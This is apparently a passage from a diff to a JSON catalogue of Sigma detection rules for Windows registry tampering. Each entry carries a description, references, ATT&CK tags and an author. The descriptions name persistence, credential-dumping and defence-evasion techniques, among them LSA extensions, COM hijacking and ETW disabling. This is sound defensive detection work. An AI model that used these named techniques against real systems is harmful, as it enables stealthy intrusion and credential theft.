"https://github.com/dotnet/runtime/blob/7abe42dc1123722ed385218268bb9fe04556e3d3/src/coreclr/src/inc/clrconfig.h#L33-L39", + "https://github.com/dotnet/runtime/search?p=1&q=COMPlus_&unscoped_q=COMPlus_", + "https://bunnyinside.com/?term=f71e8cb9c76a", + "http://managed670.rssing.com/chan-5590147/all_p1.html", + "https://github.com/dotnet/runtime/blob/4f9ae42d861fcb4be2fcd5d3d55d5f227d30e723/docs/coding-guidelines/clr-jit-coding-conventions.md#1412-disabling-code", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_etw_disabled.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2020/06/05", + "filename": "registry_set_etw_disabled.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects applications being added to the \"allowed applications\" list of exploit guard in order to bypass controlled folder settings", + "uuid": "42205c73-75c8-4a63-9db1-e3782e06fda0", + "value": "Suspicious Application Allowed Through Exploit Guard", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2017/10/23/windows-defender-exploit-guard-reduce-the-attack-surface-against-next-generation-malware/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_exploit_guard_susp_allowed_apps.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.001" + ], + "creation_date": "2022/08/05", + "filename": "registry_set_exploit_guard_susp_allowed_apps.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detect change of the user account associated with the FAX service to avoid the escalation problem.", + "uuid": "e3fdf743-f05b-4051-990a-b66919be1743", + "value": "Change User Account Associated with the FAX Service", + "meta": { + "refs": [ + "https://twitter.com/dottor_morte/status/1544652325570191361", + "https://raw.githubusercontent.com/RiccardoAncarani/talks/master/F-Secure/unorthodox-lateral-movement.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_fax_change_service_user.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2022/07/17", + "filename": "registry_set_fax_change_service_user.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detect possible persistence using Fax DLL load when service restart", + "uuid": "9e3357ba-09d4-4fbd-a7c5-ad6386314513", + "value": "Change the Fax Dll", + "meta": { + "refs": [ + "https://twitter.com/dottor_morte/status/1544652325570191361", + "https://raw.githubusercontent.com/RiccardoAncarani/talks/master/F-Secure/unorthodox-lateral-movement.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_fax_dll_persistance.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2022/07/17", + "filename": "registry_set_fax_dll_persistance.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects the abuse of the exefile handler in new file association. Used for bypass of security products.", + "uuid": "44a22d59-b175-4f13-8c16-cbaef5b581ff", + "value": "New File Association Using Exefile", + "meta": { + "refs": [ + "https://twitter.com/mrd0x/status/1461041276514623491", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_file_association_exefile.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2021/11/19", + "filename": "registry_set_file_association_exefile.yml", + "author": "Andreas Hunkeler (@Karneades)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects persistence using GlobalFlags in image file execution options", + "uuid": "36803969-5421-41ec-b92f-8500f79c23b0", + "value": "GlobalFlags Registry Persistence Mechanisms", + "meta": { + "refs": [ + "https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_globalflags_persistence.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.persistence", + "attack.defense_evasion", + "attack.t1546.012", + "car.2013-01-002" + ], + "creation_date": "2018/04/11", + "filename": "registry_set_globalflags_persistence.yml", + "author": "Karneades, Jonhnathan Ribeiro", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an attacker adds a new \"Debugger\" value to the \"Hangs\" key in order to achieve persistence which will get invoked when an application crashes", + "uuid": "833ef470-fa01-4631-a79b-6f291c9ac498", + "value": "Add Debugger Entry To Hangs Key For Persistence", + "meta": { + "refs": [ + "https://persistence-info.github.io/Data/wer_debugger.html", + "https://www.hexacorn.com/blog/2019/09/20/beyond-good-ol-run-key-part-116/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hangs_debugger_persistence.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2022/07/21", + "filename": "registry_set_hangs_debugger_persistence.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "This value is not set by default but could be rarly used by administrators" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an attacker modifies the registry value of the \"hhctrl\" to point to a custom binary", + "uuid": "f10ed525-97fe-4fed-be7c-2feecca941b1", + "value": "Persistence Via Hhctrl.ocx", + "meta": { + "refs": [ + "https://persistence-info.github.io/Data/hhctrl.html", + "https://www.hexacorn.com/blog/2018/04/23/beyond-good-ol-run-key-part-77/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hhctrl_persistence.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2022/07/21", + "filename": "registry_set_hhctrl_persistence.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Hides the file extension through modification of the registry", + "uuid": "5df86130-4e95-4a54-90f7-26541b40aec2", + "value": "Registry Modification to Hidden File Extension", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-1---modify-registry-of-current-user-profile---cmd", + "https://unit42.paloaltonetworks.com/ransomware-families/", + "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=TrojanSpy%3aMSIL%2fHakey.A", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hidden_extention.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1137" + ], + "creation_date": "2022/01/22", + "filename": "registry_set_hidden_extention.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Administrative scripts" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects modifications to the hidden files keys in registry. This technique is abused by several malware families to hide their files from normal users.", + "uuid": "5a5152f1-463f-436b-b2f5-8eceb3964b42", + "value": "Modification of Explorer Hidden Keys", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md#atomic-test-8---hide-files-through-registry", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hide_file.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.001" + ], + "creation_date": "2022/04/02", + "filename": "registry_set_hide_file.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects registry modifications that hide internal tools or functions from the user (malware like Agent Tesla, Hermetic Wiper uses this technique)", + "uuid": "5a93eb65-dffa-4543-b761-94aa60098fb6", + "value": "Registry Hide Function from User", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hide_function_user.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2022/03/18", + "filename": "registry_set_hide_function_user.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate admin script" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects when the \"index\" value of a scheduled task is modified from the registry\nWhich effectively hides it from any tooling such as \"schtasks /query\" (Read the referenced link for more information about the effects of this technique)\n", + "uuid": "5b16df71-8615-4f7f-ac9b-6c43c0509e61", + "value": "Hide Schedule Task Via Index Value Tamper", + "meta": { + "refs": [ + "https://blog.qualys.com/vulnerabilities-threat-research/2022/06/20/defending-against-scheduled-task-attacks-in-windows-environments", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_hide_scheduled_task_via_index_tamper.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562" + ], + "creation_date": "2022/08/26", + "filename": "registry_set_hide_scheduled_task_via_index_tamper.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects the modification of the registry settings used for Internet Explorer and other Windows components that use these settings", + "uuid": "d88d0ab2-e696-4d40-a2ed-9790064e66b3", + "value": "Modification of IE Registry Settings", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-5---javascript-in-registry", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_ie_persistence.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2022/01/22", + "filename": "registry_set_ie_persistence.yml", + "author": "frack113", + "level": "low", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an attacker register a new IFilter for an exntesion. Microsoft Windows Search uses filters to extract the content of items for inclusion in a full-text index. You can extend Windows Search to index new or proprietary file types by writing filters to extract the content, and property handlers to extract the properties of files", + "uuid": "b23818c7-e575-4d13-8012-332075ec0a2b", + "value": "Register New IFiltre For Persistence", + "meta": { + "refs": [ + "https://persistence-info.github.io/Data/ifilters.html", + "https://twitter.com/0gtweet/status/1468548924600459267", + "https://github.com/gtworek/PSBits/tree/master/IFilter", + "https://github.com/gtworek/PSBits/blob/8d767892f3b17eefa4d0668f5d2df78e844f01d8/IFilter/Dll.cpp#L281-L308", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_ifilter_persistence.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2022/07/21", + "filename": "registry_set_ifilter_persistence.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Legitimate registration of IFilters by the OS or software" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects the addition of new root, CA or AuthRoot certificates to the Windows registry", + "uuid": "d223b46b-5621-4037-88fe-fda32eead684", + "value": "New Root or CA or AuthRoot Certificate to Store", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md#atomic-test-6---add-root-certificate-to-currentuser-certificate-store", + "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_install_root_or_ca_certificat.yml" + ], + "tags": [ + "attack.impact", + "attack.t1490" + ], + "creation_date": "2022/04/04", + "filename": "registry_set_install_root_or_ca_certificat.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects setting a custom URL for OneDriveStandaloneUpdater.exe to download a file from the Internet without executing any\nanomalous executables with suspicious arguments. The downloaded file will be in C:\\Users\\redacted\\AppData\\Local\\Microsoft\\OneDrive\\StandaloneUpdaterreSignInSettingsConfig.json\n", + "uuid": "3aff0be0-7802-4a7e-a4fa-c60c74bc5e1d", + "value": "Lolbas OneDriveStandaloneUpdater.exe Proxy Download", + "meta": { + "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/OneDriveStandaloneUpdater/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_lolbin_onedrivestandaloneupdater.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2022/05/28", + "filename": "registry_set_lolbin_onedrivestandaloneupdater.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an attacker modifies the \"REG_MULTI_SZ\" value named \"Extensions\" to include a custom DLL to achieve persistence via lsass.\nThe \"Extensions\" list contains filenames of DLLs being automatically loaded by lsass.exe. Each DLL has its InitializeLsaExtension() method called after loading.\n", + "uuid": "41f6531d-af6e-4c6e-918f-b946f2b85a36", + "value": "Persistence Via LSA Extensions", + "meta": { + "refs": [ + "https://persistence-info.github.io/Data/lsaaextension.html", + "https://twitter.com/0gtweet/status/1476286368385019906", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_lsa_extension_persistence.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2022/07/21", + "filename": "registry_set_lsa_extension_persistence.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects javaw.exe in AppData folder as used by Adwind / JRAT", + "uuid": "42f0e038-767e-4b85-9d96-2c6335bad0b5", + "value": "Adwind RAT / JRAT", + "meta": { + "refs": [ + "https://www.hybrid-analysis.com/sample/ba86fa0d4b6af2db0656a88b1dd29f36fe362473ae8ad04255c4e52f214a541c?environmentId=100", + "https://www.first.org/resources/papers/conf2017/Advanced-Incident-Detection-and-Threat-Hunting-using-Sysmon-and-Splunk.pdf", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_mal_adwind.yml" + ], + "tags": [ + "attack.execution", + "attack.t1059.005", + "attack.t1059.007" + ], + "creation_date": "2017/11/10", + "filename": "registry_set_mal_adwind.yml", + "author": "Florian Roth, Tom Ueltschi, Jonhnathan Ribeiro, oscd.community", + "level": "high", + "falsepositive": "No established falsepositives", + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Attempts to detect system changes made by Blue Mockingbird", + "uuid": "92b0b372-a939-44ed-a11b-5136cf680e27", + "value": "Blue Mockingbird", + "meta": { + "refs": [ + "https://redcanary.com/blog/blue-mockingbird-cryptominer/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_mal_blue_mockingbird.yml" + ], + "tags": [ + "attack.execution", + "attack.t1112", + "attack.t1047" + ], + "creation_date": "2020/05/14", + "filename": "registry_set_mal_blue_mockingbird.yml", + "author": "Trent Liffick (@tliffick)", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an attacker register a new SIP provider for persistence and defense evasion", + "uuid": "92772523-d9c1-4c93-9547-b0ca500baba3", + "value": "Persistence Via Mpnotify", + "meta": { + "refs": [ + "https://persistence-info.github.io/Data/mpnotify.html", + "https://www.youtube.com/watch?v=ggY3srD9dYs&ab_channel=GrzegorzTworek", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_mpnotify_persistence.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2022/07/21", + "filename": "registry_set_mpnotify_persistence.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Might trigger if a legitimate new SIP provider is registered. But this is not a common occurrence in an environment and should be investigated either way" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "A General detection for a new application in AppCompat. This indicates an application executing for the first time on an endpoint.", + "uuid": "60936b49-fca0-4f32-993d-7415edcf9a5d", + "value": "New Application in AppCompat", + "meta": { + "refs": [ + "https://github.com/OTRF/detection-hackathon-apt29/issues/1", + "https://threathunterplaybook.com/evals/apt29/detections/1.A.1_DFD6A782-9BDB-4550-AB6B-525E825B095E.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_new_application_appcompat.yml" + ], + "tags": [ + "attack.execution", + "attack.t1204.002" + ], + "creation_date": "2020/05/02", + "filename": "registry_set_new_application_appcompat.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "informational", + "falsepositive": [ + "This rule is to explore new applications on an endpoint. False positives depends on the organization.", + "Newly setup system.", + "Legitimate installation of new application." + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects when an attacker tries to add a new network provider in order to dump clear text credentials, similar to how the NPPSpy tool does it", + "uuid": "0442defa-b4a2-41c9-ae2c-ea7042fc4701", + "value": "New Network Provider - Registry", + "meta": { + "refs": [ + "https://docs.microsoft.com/en-us/troubleshoot/windows-client/deployment/network-provider-settings-removed-in-place-upgrade", + "https://github.com/gtworek/PSBits/tree/master/PasswordStealing/NPPSpy", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_new_network_provider.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003" + ], + "creation_date": "2022/08/23", + "filename": "registry_set_new_network_provider.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Other legitimate network providers used and not filtred in this rule" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Enable Dynamic Data Exchange protocol (DDE) in all supported editions of Microsoft Word or Excel.", + "uuid": "63647769-326d-4dde-a419-b925cc0caf42", + "value": "Enable Microsoft Dynamic Data Exchange", + "meta": { + "refs": [ + "https://msrc.microsoft.com/update-guide/vulnerability/ADV170021", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_enable_dde.yml" + ], + "tags": [ + "attack.execution", + "attack.t1559.002" + ], + "creation_date": "2022/02/26", + "filename": "registry_set_office_enable_dde.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects registry changes to Office macro settings. The TrustRecords contain information on executed macro-enabled documents. (see references)", + "uuid": "a166f74e-bf44-409d-b9ba-ea4b2dd8b3cd", + "value": "Office Security Settings Changed", + "meta": { + "refs": [ + "https://twitter.com/inversecos/status/1494174785621819397", + "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/zloader-with-a-new-infection-technique/", + "https://securelist.com/scarcruft-surveilling-north-korean-defectors-and-human-rights-activists/105074/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_security.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1112" + ], + "creation_date": "2020/05/22", + "filename": "registry_set_office_security.yml", + "author": "Trent Liffick (@tliffick)", + "level": "high", + "falsepositive": [ + "Valid Macros and/or internal documents" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects persistence via Visual Studio Tools for Office (VSTO) add-ins in Office applications.", + "uuid": "9d15044a-7cfe-4d23-8085-6ebc11df7685", + "value": "Stealthy VSTO Persistence", + "meta": { + "refs": [ + "https://twitter.com/_vivami/status/1347925307643355138", + "https://vanmieghem.io/stealth-outlook-persistence/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_vsto_persistence.yml" + ], + "tags": [ + "attack.t1137.006", + "attack.persistence" + ], + "creation_date": "2021/01/10", + "filename": "registry_set_office_vsto_persistence.yml", + "author": "Bhabesh Raj", + "level": "medium", + "falsepositive": [ + "Legitimate Addin Installation" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects the modification of Outlook Security Setting to allow unprompted execution. Goes with win_outlook_c2_macro_creation.yml and is particularly interesting if both events occur near to each other.", + "uuid": "e3b50fa5-3c3f-444e-937b-0a99d33731cd", + "value": "Outlook C2 Registry Key", + "meta": { + "refs": [ + "https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_outlook_c2_registry_key.yml" + ], + "tags": [ + "attack.persistence", + "attack.command_and_control", + "attack.t1137", + "attack.t1008", + "attack.t1546" + ], + "creation_date": "2021/04/05", + "filename": "registry_set_outlook_c2_registry_key.yml", + "author": "@ScoubiMtl", + "level": "medium", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects the manipulation of persistent URLs which could execute malicious code", + "uuid": "487bb375-12ef-41f6-baae-c6a1572b4dd1", + "value": "Persistent Outlook Landing Pages", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=70", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_outlook_registry_todaypage.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1112" + ], + "creation_date": "2021/06/10", + "filename": "registry_set_outlook_registry_todaypage.yml", + "author": "Tobias Michalski", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects the manipulation of persistent URLs which can be malicious", + "uuid": "ddd171b5-2cc6-4975-9e78-f0eccd08cc76", + "value": "Persistent Outlook Landing Pages", + "meta": { + "refs": [ + "https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=70", + "https://support.microsoft.com/en-us/topic/outlook-home-page-feature-is-missing-in-folder-properties-d207edb7-aa02-46c5-b608-5d9dbed9bd04?ui=en-us&rs=en-us&ad=us", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_outlook_registry_webview.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1112" + ], + "creation_date": "2021/06/09", + "filename": "registry_set_outlook_registry_webview.yml", + "author": "Tobias Michalski", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Change outlook email security settings", + "uuid": "c3cefdf4-6703-4e1c-bad8-bf422fc5015a", + "value": "Change Outlook Security Setting in Registry", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1137/T1137.md", + "https://docs.microsoft.com/en-us/outlook/troubleshoot/security/information-about-email-security-settings", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_outlook_security.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1137" + ], + "creation_date": "2021/12/28", + "filename": "registry_set_outlook_security.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Administrative scripts" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects potential persistence using Appx DebugPath", + "uuid": "df4dc653-1029-47ba-8231-3c44238cc0ae", + "value": "Windows Registry Persistence DebugPath", + "meta": { + "refs": [ + "https://oddvar.moe/2018/09/06/persistence-using-universal-windows-platform-apps-appx/", + "https://github.com/rootm0s/WinPwnage", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_appx_debugger.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546.015" + ], + "creation_date": "2022/07/27", + "filename": "registry_set_persistence_appx_debugger.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects change the the \"AutodialDLL\" key which could be used as a persistence method to load custom DLL via the \"ws2_32\" library", + "uuid": "e6fe26ee-d063-4f5b-b007-39e90aaf50e3", + "value": "Persistence Via AutodialDLL", + "meta": { + "refs": [ + "https://www.hexacorn.com/blog/2015/01/13/beyond-good-ol-run-key-part-24/", + "https://persistence-info.github.io/Data/autodialdll.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_autodial_dll.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2022/08/10", + "filename": "registry_set_persistence_autodial_dll.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects potential COM object hijacking where the \"Server\" (In/Out) is pointing to a supsicious or unsuale location", + "uuid": "3d968d17-ffa4-4bc0-bfdc-f139de76ce77", + "value": "COM Hijacking For Persistence With Suspicious Locations", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2022/07/27/untangling-knotweed-european-private-sector-offensive-actor-using-0-day-exploits/ (idea)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_com_hijacking_susp_locations.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546.015" + ], + "creation_date": "2022/07/28", + "filename": "registry_set_persistence_com_hijacking_susp_locations.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Probable legitimate applications. If you find these please add them to an exclusion list" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects modification to the \"Default\" value of the \"MyComputer\" key and subkeys to point to a custom binary that will be launched whenever the associated action is executed (see reference section for example)", + "uuid": "8fbe98a8-8f9d-44f8-aa71-8c572e29ef06", + "value": "Persistence Via MyComputer Key and SubKeys", + "meta": { + "refs": [ + "https://www.hexacorn.com/blog/2017/01/18/beyond-good-ol-run-key-part-55/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_mycomputer.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2022/08/09", + "filename": "registry_set_persistence_mycomputer.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely but if you experience FPs add specific processes and locations you would like to monitor for" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects potential COM object hijacking leveraging the COM Search Order", + "uuid": "a0ff33d8-79e4-4cef-b4f3-9dc4133ccd12", + "value": "Windows Registry Persistence COM Search Order Hijacking", + "meta": { + "refs": [ + "https://www.cyberbit.com/blog/endpoint-security/com-hijacking-windows-overlooked-security-vulnerability/", + "https://attack.mitre.org/techniques/T1546/015/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_search_order.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1546.015" + ], + "creation_date": "2020/04/14", + "filename": "registry_set_persistence_search_order.yml", + "author": "Maxime Thiebaut (@0xThiebaut), oscd.community, C\u00e9dric Hien", + "level": "medium", + "falsepositive": [ + "Some installed utilities (i.e. OneDrive) may serve new COM objects at user-level" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects modification addition to the 'TypedPaths' key in the user or admin registry from a non standard application. Which might indicate persistence attempt", + "uuid": "086ae989-9ca6-4fe7-895a-759c5544f247", + "value": "Persistence Via TypedPaths", + "meta": { + "refs": [ + "https://twitter.com/dez_/status/1560101453150257154", + "https://forensafe.com/blogs/typedpaths.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_typed_paths.yml" + ], + "tags": [ + "attack.persistence" + ], + "creation_date": "2022/08/22", + "filename": "registry_set_persistence_typed_paths.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects tampering with attachment manager settings policies associations to lower the default file type risks (See reference for more information)", + "uuid": "a9b6c011-ab69-4ddb-bc0a-c4f21c80ec47", + "value": "Modify Attachment Manager Settings - Associations", + "meta": { + "refs": [ + "https://support.microsoft.com/en-us/topic/information-about-the-attachment-manager-in-microsoft-windows-c48a4dcd-8de5-2af5-ee9b-cd795ae42738", + "https://www.virustotal.com/gui/file/2bcd5702a7565952c44075ac6fb946c7780526640d1264f692c7664c02c68465", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_policies_associations_tamper.yml" + ], + "tags": [ + "attack.defense_evasion" + ], + "creation_date": "2022/08/01", + "filename": "registry_set_policies_associations_tamper.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "registry_set", + "logsource.product": "windows" + } + }, + { + "description": "Detects tampering with attachment manager settings policies attachments (See reference for more information)", + "uuid": "ee77a5db-b0f3-4be2-bfd4-b58be1c6b15a", + "value": "Modify Attachment Manager Settings - Attachments", + "meta": { + "refs": [ + "https://support.microsoft.com/en-us/topic/information-about-the-attachment-manager-in-microsoft-windows-c48a4dcd-8de5-2af5-ee9b-cd795ae42738", + "https://www.virustotal.com/gui/file/2bcd5702a7565952c44075ac6fb946c7780526640d1264f692c7664c02c68465", + 